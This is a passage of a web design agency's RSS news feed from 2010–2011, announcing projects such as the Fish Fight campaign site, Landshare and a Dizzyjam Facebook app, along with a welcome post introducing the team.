<p>Remember when I mentioned how hard it is to blend the perfect mixture of emotional perceptions and rationality? In fact I found my own way for mixing both drinks &ndash; I always use the reason as a finger to point me what is the best solution. Every piece of the design should have a meaning and stand on the web page for a reason. Every image should have a story to tell. As long as I can explain the purpose and designation of each element on the site, I can tell for certain that the designer has done a great job.</p>
<p>Though designers want their full control over the creation process and the tools they use, it&rsquo;s the project manager&rsquo;s job to ask for reasonable and functional layouts.</p>
<p>Everybody should be left alone to do what they are best at, that including the manager who&rsquo;s got the power to explain the concept to the designer and to bring together art and functionality in building an almost perfect, yet beautifully functioning web site.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Hugh&#039;s Fish Fight Multiplatform Campaign</title>
                <link>https://mtr-design.com/news/fish-fight-multiplatform-campaign</link>
                <guid>https://mtr-design.com/news/fish-fight-multiplatform-campaign</guid>
                <pubDate>Sun, 01 May 2011 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>Our friends from <a href="http://www.keofilms.com/" target="_blank" rel="noopener noreferrer">KEO Films</a> have recently released this fascinating video, a pretty review of the <a href="/news/website-launch-fishfight">Fish Fight</a> campaign, our team took part into, and we are eager to share it with you.</p>]]></description>
                <content:encoded><![CDATA[<p>MTR Design participated in this multiplatform campaign by creating the website of the initiative and we are absolutely delighted to see our labour being rewarded.</p>
<p>We know for sure when our efforts are worth it &ndash; it&rsquo;s that &nbsp;delightful moment of perfection when a great project has spoken out loud and the raw idea, vested in stimulating digital presentation has made a great impact in the real world. In <a href="/news/website-launch-fishfight">Fish Fight</a> we have it all &ndash; a powerful cause, a storming digital introduction and inspiring results.</p>
<p>So enjoy this video and find out what it takes for your ideas to make a difference.</p>
<div class="video"><iframe src="https://www.youtube.com/embed/5vGjeIGEtPE?rel=0&amp;showinfo=0" allowfullscreen="" width="853" height="480" frameborder="0"></iframe></div>]]></content:encoded>
            </item>
                    <item>
                <title>Dizzyjam Facebook App</title>
                <link>https://mtr-design.com/news/dizzyjam-facebook-app</link>
                <guid>https://mtr-design.com/news/dizzyjam-facebook-app</guid>
                <pubDate>Sun, 17 Apr 2011 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>We are absolutely delighted to announce the launch of our new <a href="http://www.facebook.com/apps/application.php?id=107397642642783&amp;sk=info" target="_blank" rel="noopener noreferrer">Facebook app</a> dedicated to our beloved project <a href="http://www.dizzyjam.com/" target="_blank" rel="noopener noreferrer">Dizzyjam</a>.</p>]]></description>
                <content:encoded><![CDATA[<p>Diversification is the key to success. So now the artists can be successful merchandisers using not only their account on Dizzyjam, but making their Facebook profile work for them as well. And after all the more the pub - the more the fans &ndash; both results &ndash; multiplying the sales and the growing number of fans are gratifying. &nbsp;Just install the Dizzyjam Facebook app and enjoy your fans&rsquo; number boost.</p>
<p><img title="Dizzyjam Facebook App" src="/storage/var/images/news/dizzyjam-facebook.jpg" alt="Dizzyjam Facebook App" width="702" height="542" /></p>
<p>The app is quite simple to manage and unobtrusively mingles with the interface of your Facebook page. It&rsquo;s easy to install and configure, even easier to use and is a real business galvanizer.</p>
<p>So have a nice time on the web and feel free to be seen everywhere with your wonderful designs.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Hugh&#039;s Fish Fight</title>
                <link>https://mtr-design.com/news/website-launch-fishfight</link>
                <guid>https://mtr-design.com/news/website-launch-fishfight</guid>
                <pubDate>Thu, 20 Jan 2011 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>Recently MTR Design became part of a movement that made some strong waves in the fisheries policy. The guys from Keo digital commissioned our team to develop, implement and maintain the website <a href="http://www.fishfight.net/" target="_blank" rel="noopener noreferrer">fishfight.net</a> promoting the TV and internet campaign &ldquo;Hugh&rsquo;s Fish Fight&rdquo;.</p>
<p>At the ignition of the Fish fight campaign on 11th of January 2011 which proved to be a tremendous success, the site that our team created was challenged to undertake and handle enormous flow of sign-ups and unique visits, reaching 1 million impressions between 8 o&rsquo;clock p.m. and 11 o&rsquo;clock p.m. on 13th of January.</p>]]></description>
                <content:encoded><![CDATA[<h3>The goals were set</h3>
<p>The idea that Keo had in mind was expected to bring foward a powerful message, so they came up with simple design, that would play a central role in promoting the goal of the campaign &ndash; common fisheries policy reform driven by increased social awareness. The basic objective of the site was to get visitors involved in the mission by signing-up for supporting the campaign.</p>
<p>The site <a title="Hugh's Fish Fight" href="http://fishfight.net">www.fishfight.net</a> was supposed to undertake maximum concurring connections at the same time and to&nbsp; maintain data income in the course of signing-up.</p>
<p>In order to make this happen our team took care of developing the site&rsquo;s accessibility, administrating the system and server maintenance and performed a full time support during the unprecedented traffic registered at the very start of the campaign.</p>
<h3>Some inspiring results</h3>
<p>The time is ticking. So is the counter of the number of visitors supporting the cause. Every day even more people visit <a title="Hugh's Fish Fight" href="http://www.fishfight.net/">www.fishfight.net</a> and get involved.</p>
<div class="video"><iframe src="https://www.youtube.com/embed/5vGjeIGEtPE?rel=0&amp;showinfo=0" allowfullscreen="" width="853" height="480" frameborder="0"></iframe></div>
<p>We realized that we&rsquo;ve made this campaign happen and that became quite clear on the third night of the TV series aired on Channel 4. On 13th January between 8 p.m. and 11 p.m. <a title="Hugh's Fish Fight" href="http://www.fishfight.net/">www.fishfight.net</a> scored 1 million page impressions.</p>
<p>And the campaign (conducted to a great extend through the www.fishfight.net) is already making its point and showing some astonishing results:</p>
<ul>
<li>Less than month since the site has been launched, there have already been made more than 630 thousands sign-ups for the cause</li>
<li>The striving for change cascaded into the compelling number of more than 200 thousands Facebook supporters of the Fish fight community</li>
<li>190 MPs have signed the early day motion regarding the Fish fight issue.</li>
</ul>
<p><img src="/storage/var/images/news/fishfight-chefs.jpg" alt="Fish Fight - Chefs" width="700" height="615" /></p>
<h2>How did we handle it?</h2>
<p>The MTR Design team was responsible for development, maintenance and administration of the site. In short, our team is &ldquo;to blame&rdquo; for:</p>
<ul>
<li>HTML/CSS</li>
<li>Google Maps API integration</li>
<li>CMS development</li>
<li>Server setup and administration</li>
</ul>
<p>Yet, the best we&rsquo;ve done is supporting a campaign that&rsquo;s already making impact.</p>
<h2>Testimonials</h2>
<p>The success in developing www.fishfight.net was acknowledged by our partners KEO Films:</p>
<blockquote>&ldquo;Fish Fight&rsquo;s successes to date are driven from fishfight.net, which includes exclusive video footage and compelling editorial content supporting the issues raised by the Big Fish Fight campaign.&ldquo;</blockquote>
<p><strong>See it yourself! <a title="Hugh's Fish Fight" href="http://www.fishfight.net">www.fishfight.net</a></strong></p>
<p><img class="align-left half-screen" src="/storage/var/images/news/fishfight-home.jpg" alt="Fish Fight - Homepage" width="700" height="615" /><img class="align-right half-screen" src="/storage/var/images/news/fishfight-mackmap.jpg" alt="Fish Fight - Map" width="700" height="615" /></p>]]></content:encoded>
            </item>
                    <item>
                <title>Landshare</title>
                <link>https://mtr-design.com/news/website-launch-landshare</link>
                <guid>https://mtr-design.com/news/website-launch-landshare</guid>
                <pubDate>Thu, 25 Nov 2010 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p><strong>Farming &ldquo;sans frontiers&rdquo;. </strong>Tired of Farmville? Sick of plastic tomatoes and pesticide strawberries?&nbsp;Are you ready to hear a well kept secret?&nbsp;You can grow your own food!&nbsp;That&rsquo;s right! Grab your tools and get to work &lsquo;cause a bunch of carrots need pulling out.&nbsp;Well, you may stumble upon some obstacles such as lack of farming plot or unfamiliar and bizarre activities like &ldquo;plowing&rdquo; and &ldquo;raking&rdquo;, that will probably trip your farming enthusiasm.&nbsp;You should not worry about it. Farming isn&rsquo;t mission impossible and you definitely won&rsquo;t need superman&rsquo;s powers.&nbsp;The first aid kit is here: <a title="Landshare" href="http://www.landshare.net/" target="_blank" rel="noopener noreferrer">www.landshare.net</a>. Just see what this amazing place can do for you!</p>]]></description>
                <content:encoded><![CDATA[<h3>To have a green thumb</h3>
<p>The MTR Design team was approached by the guys from Keo digital who commissioned our team to build the new Landshare web site &ndash; a project we took quite personal after discussing the concept with them. A couple of tasteless supermarket salads later we got inspired and enthusiastic about joining those fellows and helping them out in the groove.</p>
<p>The concept for the website is to gather together three different types of users who can contribute to the online community in various ways. To cut the long story short &ndash; the idea is simple &ndash; those, who have land, are welcome to share it, those, who are looking for a farming plot, will find various offers on the site and those, who can give a hand in any way will have the opportunity to do it. So the key words, on which the community is supposed to blossom, are &ldquo;sharing and collaboration&rdquo;.</p>
<h3>Grab your hoe!</h3>
<p><img class="align-right" src="/storage/var/images/news/landshare-home.jpg" alt="Landshare - Homepage" width="702" height="615" /><img class="align-right" src="/storage/var/images/news/landshare-signup.jpg" alt="Landshare - Sign up" width="702" height="615" />Having Keo's main concept in mind, our team sketched out the first task &ndash; building a community platform. We tailored it to meet the commissioners&rsquo; requirements and supplied it with all the necessary attributes as users&rsquo; accounts, forums, newsletter, Q&amp;A section, blogs and resource library. Besides all the &ldquo;standard&rdquo; modules, the community platform was equipped with a special &ldquo;groups&rdquo; feature, which brought the community concept to an entirely new level. It became a powerful tool for changing the local municipal policy. So our team had to make sure it worked properly and could dig even deeper for a change!</p>
<p>We were also responsible for developing the bespoke API for the Landshare iPhone app, which proved to be a winner!</p>
<p>Another good job on the field was establishing connections with Facebook, Google Maps and Twitter, as well integrating video streaming player.</p>
<p>Following days of hoeing and irrigation at the end of the day our team was ready to collect the harvest.</p>
<h3>And what a harvest!</h3>
<p>So far the website has more than 61 000 members in UK.</p>
<p>Landshare won the award for <a title="Landshare won the award for Best Green Use of Mobile Apps and Technologies" href="http://www.landshare.net/news/green-awards-landshare-app-is-the-winner-of-the-mobile-category/">Best Green Use of Mobile Apps and Technologies for 2010</a>.</p>
<p>Recently KEO Digital, the interactive arm of KEO Films, has licensed Landshare to their Australian and Canadian partners to continue its rapid growth. You can already find your fellow growers on <a title="Landshare Canada" href="http://landsharecanada.com/">http://landsharecanada.com/</a> and <a title="Landshare Australia" href="http://www.landshareaustralia.com.au/">http://www.landshareaustralia.com.au/</a>.</p>
<h2>How did we handle it?</h2>
<p>The MTR Design team was responsible for:</p>
<ul>
<li class="tick">Development of the HTML/CSS layouts</li>
<li class="tick">Bespoke API which powers the Landshare iPhone app</li>
<li class="tick">Third party API integration (Google maps, Facebook)</li>
<li class="tick">CMS development</li>
<li class="tick">Custom comunity modules (groups, events, forums, blogs, private messaging)</li>
</ul>]]></content:encoded>
            </item>
                    <item>
                <title>Web site launch – ime.bg</title>
                <link>https://mtr-design.com/news/ime-bg</link>
                <guid>https://mtr-design.com/news/ime-bg</guid>
                <pubDate>Wed, 10 Nov 2010 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>The <a href="http://ime.bg/" target="_blank" rel="noopener noreferrer">Institute for Market Economics (IME)</a> is the first independent economic research institute in Bulgaria, and we loved working on this project in the hope that for many years ahead the IME will remain a thorn in the eyes of any subsequent Bulgarian government, which prefers to spend more (of our) money, instead of creating real reforms. We tried to make a proper media site &ndash; with many articles, photos and video materials &ndash; and hopefully it could become a destination for all Bulgarian citizens, who value their freedom, and would like to see more &ldquo;market&rdquo; and less &ldquo;state&rdquo; in the economy.</p>]]></description>
                <content:encoded><![CDATA[<div class="video"><iframe src="https://www.youtube.com/embed/d0nERTFo-Sk?rel=0&amp;showinfo=0" allowfullscreen="" width="853" height="480" frameborder="0"></iframe></div>
<p>And dear English friends, I guess you already know that your government spends more than he earns (app. 152 billion pounds budget deficit for 2009), but did you know that this excess is 5 times greater than the revenues of the Bulgarian government (our GNP for the year 2009 is app. 30 billion pounds)?</p>]]></content:encoded>
            </item>
                    <item>
                <title>The tempo of business</title>
                <link>https://mtr-design.com/news/the-tempo-of-business</link>
                <guid>https://mtr-design.com/news/the-tempo-of-business</guid>
                <pubDate>Thu, 17 Jun 2010 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p><em>The tempo of business is not one of stability, order, and a level playing field, but rather a disequilibrium and instability. Stability and equality only exist in the graveyards. Ralph Waldo Emerson once wrote, &ldquo;An institution is the lengthened shadow of one man.&rdquo;</em></p>
<p><strong>Ronald J. Baker</strong>, <a href="http://www.amazon.co.uk/Pricing-Purpose-Creating-Capturing-Value/dp/0471729809" target="_blank" rel="noopener noreferrer">Pricing on Purpose: Creating and Capturing Value</a></p>]]></description>
                <content:encoded><![CDATA[<p><em>The tempo of business is not one of stability, order, and a level playing field, but rather a disequilibrium and instability. Stability and equality only exist in the graveyards. Ralph Waldo Emerson once wrote, &ldquo;An institution is the lengthened shadow of one man.&rdquo;</em></p>
<p><strong>Ronald J. Baker</strong>, <a href="http://www.amazon.co.uk/Pricing-Purpose-Creating-Capturing-Value/dp/0471729809" target="_blank" rel="noopener noreferrer">Pricing on Purpose: Creating and Capturing Value</a></p>]]></content:encoded>
            </item>
                    <item>
                <title>Jamie Oliver wins 2010 TED prize</title>
                <link>https://mtr-design.com/news/jamie-oliver-wins-2010-ted-prize</link>
                <guid>https://mtr-design.com/news/jamie-oliver-wins-2010-ted-prize</guid>
                <pubDate>Sun, 28 Mar 2010 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>Although we could hardly call him &ldquo;our&rdquo; client (after all we are only web developers), some of the most interesting projects we have been working on were for his companies.</p>]]></description>
                <content:encoded><![CDATA[<p>Internet definitely will not save the world, but I personally haven&rsquo;t found yet a better way for meeting some of the best minds on the planet. Jamie is surely one of them: a person with a clear purpose, that excites and inspires thousands with his wishes big enough to change the world.</p>
<div class="video"><iframe src="https://embed.ted.com/talks/jamie_oliver" scrolling="no" allowfullscreen="" width="854" height="480" frameborder="0"></iframe></div>]]></content:encoded>
            </item>
                    <item>
                <title>Hello and welcome to the official MTR Design Team blog</title>
                <link>https://mtr-design.com/news/hello-and-welcome-to-the-official-mtr</link>
                <guid>https://mtr-design.com/news/hello-and-welcome-to-the-official-mtr</guid>
                <pubDate>Mon, 08 Feb 2010 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p><strong>A little history</strong></p>
<p>Hardly anyone (even in Bulgaria) could recall that MTR Design was started in 2005 as a design department of the highly successful Bulgarian online magazine Media Times Review.</p>
<p>Today, five years and a hundred completed projects later, we have established our UK branch, and it is pretty clear that 2010 will be for us an exciting year!</p>]]></description>
                <content:encoded><![CDATA[<p>In our work we overcome many challenges, and constantly learn new stuff, so we thought it would be good to have a team blog, where we could share some useful info with you. Here we will be posting project updates, hot news and cool ideas! Keep an eye on it.</p>
<h3>About the authors</h3>
<p>Milen is a Project Manager, and a co-founder of MTR Design. He is also the first point of contact for our clients, and is personally &ldquo;guilty&rdquo; for the successful completion of a long list of web projects. Throughout the years he was responsible for the crafty befriending of clients such as: The Electric Sheep Company, River Cottage, BAA, and many other happy &ldquo;victims&rdquo;.</p>
<p>Nikolay is a former salesman turned Marketing | Business Development | Project Manager, and a co-founder of MTR Design. He is also the last point of contact for our clients due to his imaginable inability to improve his level of English. Throughout the years he successfully produced a number of inappropriate ideas for web applications, but to this very day his status of a &ldquo;co-founder&rdquo; keeps him steady in the team.</p>
<p>There is also a whole bunch of other highly suspicious individuals at MTR, that must be mentioned as they love being noted. Elena, Velentin, Stanislav, Vladimir, Marush and Alex all say hello to you.</p>
<p>See you around!</p>]]></content:encoded>
            </item>
            </channel>
</rss>
